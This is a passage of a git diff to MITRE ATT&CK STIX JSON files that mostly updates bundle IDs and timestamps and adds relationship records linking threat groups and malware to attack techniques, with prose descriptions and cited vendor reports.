             "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.",
             "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
diff --git a/enterprise-attack/relationship/relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4.json b/enterprise-attack/relationship/relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4.json
new file mode 100644
index 0000000000..b58bfdd9ff
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ca2fdf18-f075-4dea-90e0-d6572ed0cfc7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can enumerate the permissions associated with Windows groups.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844.json b/enterprise-attack/relationship/relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844.json
new file mode 100644
index 0000000000..b943830a9a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3c1d3a7c-73f9-47c1-a989-df0c7a204d1f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
+            "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8.json b/enterprise-attack/relationship/relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8.json
index 6c7868a22d..6116aba6ba 100644
--- a/enterprise-attack/relationship/relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8.json
+++ b/enterprise-attack/relationship/relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d68e54ae-f106-44d6-af76-a11a7dc03cc5",
+    "id": "bundle--547c2255-04a1-4df9-b690-952f4721da72",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7.json b/enterprise-attack/relationship/relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7.json
index a176dd79f4..1636800987 100644
--- a/enterprise-attack/relationship/relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7.json
+++ b/enterprise-attack/relationship/relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--712e215f-1ea3-4fe5-b4db-90e2a9d4127e",
+    "id": "bundle--956e0be6-7f03-46a3-9987-cf7e7b0c3999",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer has several commands to delete files associated with the malware from the victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb.json b/enterprise-attack/relationship/relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb.json
index 02cbeecd4c..c95d0bb780 100644
--- a/enterprise-attack/relationship/relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb.json
+++ b/enterprise-attack/relationship/relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e4f809fe-b514-4a41-99ab-e73ecd0b3270",
+    "id": "bundle--0e72504f-9e63-4c66-b902-b1bb45e41b17",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e5f75ae0-45f5-48b8-938f-f0d9e17e53eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
diff --git a/enterprise-attack/relationship/relationship--e603a78c-ecbc-46b2-95cc-08251c1faea9.json b/enterprise-attack/relationship/relationship--e603a78c-ecbc-46b2-95cc-08251c1faea9.json
new file mode 100644
index 0000000000..1ec62d73eb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e603a78c-ecbc-46b2-95cc-08251c1faea9.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--adaf0db2-36f0-440d-8996-a9d4a188e1a7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e603a78c-ecbc-46b2-95cc-08251c1faea9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e64a09d0-4205-4aca-8acb-f6926233d107.json b/enterprise-attack/relationship/relationship--e64a09d0-4205-4aca-8acb-f6926233d107.json
index 412d51220b..07f5c8aae1 100644
--- a/enterprise-attack/relationship/relationship--e64a09d0-4205-4aca-8acb-f6926233d107.json
+++ b/enterprise-attack/relationship/relationship--e64a09d0-4205-4aca-8acb-f6926233d107.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f22c65b6-2184-4e5e-acb4-25a574f94900",
+    "id": "bundle--a7f0457b-be56-4cde-a5b5-490d85194c24",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53.json b/enterprise-attack/relationship/relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53.json
index 38569412fc..7adc586849 100644
--- a/enterprise-attack/relationship/relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53.json
+++ b/enterprise-attack/relationship/relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--159513a9-fe47-4cb3-98be-1c4443eab139",
+    "id": "bundle--0eeeb524-0279-43de-9769-d40c6a16657f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used sticky-keys to obtain unauthenticated, privileged console access.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--e68684df-28b4-4f06-b553-cacf14866605.json b/enterprise-attack/relationship/relationship--e68684df-28b4-4f06-b553-cacf14866605.json
index 01f040cb35..3223756c02 100644
--- a/enterprise-attack/relationship/relationship--e68684df-28b4-4f06-b553-cacf14866605.json
+++ b/enterprise-attack/relationship/relationship--e68684df-28b4-4f06-b553-cacf14866605.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--718d49e4-6851-4a1b-a7c0-418edb5c99c5",
+    "id": "bundle--1995cd7d-d198-4727-a8b4-ac290a9978f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e68684df-28b4-4f06-b553-cacf14866605",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--e68ff1c2-ef03-486b-96df-167a1652a97b.json b/enterprise-attack/relationship/relationship--e68ff1c2-ef03-486b-96df-167a1652a97b.json
new file mode 100644
index 0000000000..78fac03a03
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e68ff1c2-ef03-486b-96df-167a1652a97b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dc3d5b5b-d9f8-493e-b648-87042d0d184b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e68ff1c2-ef03-486b-96df-167a1652a97b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "For C2 over HTTP, Helminth encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, Helminth converts ASCII characters into their hexadecimal values and sends the data in cleartext.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e6b68811-113e-4f86-8096-9f506e34dda1.json b/enterprise-attack/relationship/relationship--e6b68811-113e-4f86-8096-9f506e34dda1.json
index 495db785ad..6b42074a55 100644
--- a/enterprise-attack/relationship/relationship--e6b68811-113e-4f86-8096-9f506e34dda1.json
+++ b/enterprise-attack/relationship/relationship--e6b68811-113e-4f86-8096-9f506e34dda1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0dc69375-b9b5-489a-956a-dfae8d0d72ce",
+    "id": "bundle--da587ecf-357e-455d-afc4-526492a70c0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e6b68811-113e-4f86-8096-9f506e34dda1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin that can perform ARP scanning as well as port scanning.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb.json b/enterprise-attack/relationship/relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb.json
index ceefc6d562..6fdee7035d 100644
--- a/enterprise-attack/relationship/relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb.json
+++ b/enterprise-attack/relationship/relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8961b93-4619-4ac4-a35f-c5dad752543d",
+    "id": "bundle--5dbbb125-f2cb-4068-be19-22c2138eae0d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa accesses the <code>ADMIN$</code> share via SMB to conduct lateral movement.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752.json b/enterprise-attack/relationship/relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752.json
index 37ea1a95ff..05fbcd2c30 100644
--- a/enterprise-attack/relationship/relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752.json
+++ b/enterprise-attack/relationship/relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05f833d7-6a2f-46b4-a377-b6c3b4d0bc22",
+    "id": "bundle--06d1dc1b-aafe-4d1b-af96-385825e52fc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: <code>net start >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--e6f5bde4-869f-4c9a-9414-11ea48386204.json b/enterprise-attack/relationship/relationship--e6f5bde4-869f-4c9a-9414-11ea48386204.json
index a6c95b6091..91917b3954 100644
--- a/enterprise-attack/relationship/relationship--e6f5bde4-869f-4c9a-9414-11ea48386204.json
+++ b/enterprise-attack/relationship/relationship--e6f5bde4-869f-4c9a-9414-11ea48386204.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16a46840-608f-4984-9a67-d54c57c1dc5d",
+    "id": "bundle--721e5350-cc41-4682-8f83-47ead59367a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e6f5bde4-869f-4c9a-9414-11ea48386204",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL obfuscates strings using a custom stream cipher.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--e6f69552-fe0e-4b40-ad20-4410048277e6.json b/enterprise-attack/relationship/relationship--e6f69552-fe0e-4b40-ad20-4410048277e6.json
index 1671a955b7..ae5d76a37c 100644
--- a/enterprise-attack/relationship/relationship--e6f69552-fe0e-4b40-ad20-4410048277e6.json
+++ b/enterprise-attack/relationship/relationship--e6f69552-fe0e-4b40-ad20-4410048277e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d64d2646-dd46-4095-93eb-e900ff52c3bc",
+    "id": "bundle--1ac4cf75-bc7c-4936-97d0-fcb64255eace",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e6f69552-fe0e-4b40-ad20-4410048277e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes collects its process identifier (PID) on the victim.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15.json b/enterprise-attack/relationship/relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15.json
index 1425df8a81..424575fa1d 100644
--- a/enterprise-attack/relationship/relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15.json
+++ b/enterprise-attack/relationship/relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec021ce9-84aa-4d7b-8e04-127dc07c3b6e",
+    "id": "bundle--f3d02e32-2445-42d8-ba6b-190a1380a8a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 regularly deploys both publicly available and custom password retrieval tools on victims.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--e7379230-882e-4b5c-bee1-629e9028e97f.json b/enterprise-attack/relationship/relationship--e7379230-882e-4b5c-bee1-629e9028e97f.json
index bfe956e987..d74168fa3f 100644
--- a/enterprise-attack/relationship/relationship--e7379230-882e-4b5c-bee1-629e9028e97f.json
+++ b/enterprise-attack/relationship/relationship--e7379230-882e-4b5c-bee1-629e9028e97f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80dc7d2a-bf93-456e-b925-13da5a0a5047",
+    "id": "bundle--68efed90-5afd-4718-a199-2baf12d6b8ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e7379230-882e-4b5c-bee1-629e9028e97f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--e76b1b21-17c1-4e3b-ac3a-92fb8afc4130.json b/enterprise-attack/relationship/relationship--e76b1b21-17c1-4e3b-ac3a-92fb8afc4130.json
new file mode 100644
index 0000000000..fa48f80271
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e76b1b21-17c1-4e3b-ac3a-92fb8afc4130.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--838c2eff-ab8a-43de-8628-29fcf30fa301",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e76b1b21-17c1-4e3b-ac3a-92fb8afc4130",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e7714693-e792-44f0-a224-9899df75fced.json b/enterprise-attack/relationship/relationship--e7714693-e792-44f0-a224-9899df75fced.json
new file mode 100644
index 0000000000..10ae68a2af
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e7714693-e792-44f0-a224-9899df75fced.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--909c79e0-b010-4f15-b42d-5baa608f3790",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e7714693-e792-44f0-a224-9899df75fced",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can detect the existence of remote systems.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71.json b/enterprise-attack/relationship/relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71.json
new file mode 100644
index 0000000000..fd2fa94f30
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4db24206-a152-46c0-a5d6-72169ffddd62",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e.json b/enterprise-attack/relationship/relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e.json
index e6d3851be2..72fb9025c7 100644
--- a/enterprise-attack/relationship/relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e.json
+++ b/enterprise-attack/relationship/relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6579f7f8-fc38-4fa9-8aec-32e0177b5c45",
+    "id": "bundle--85e46b90-99b5-4e70-9269-3f21cfdbd27e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b.json b/enterprise-attack/relationship/relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b.json
index a93ea211b6..331842130c 100644
--- a/enterprise-attack/relationship/relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b.json
+++ b/enterprise-attack/relationship/relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a5a4cdf-337f-4196-8db5-89150fa0e9e0",
+    "id": "bundle--0b30b4c2-7494-4ab6-ba3e-311ab8d1bef1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform can use ICMP to communicate between infected computers.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825.json b/enterprise-attack/relationship/relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825.json
index 0dd6d38d84..384c100592 100644
--- a/enterprise-attack/relationship/relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825.json
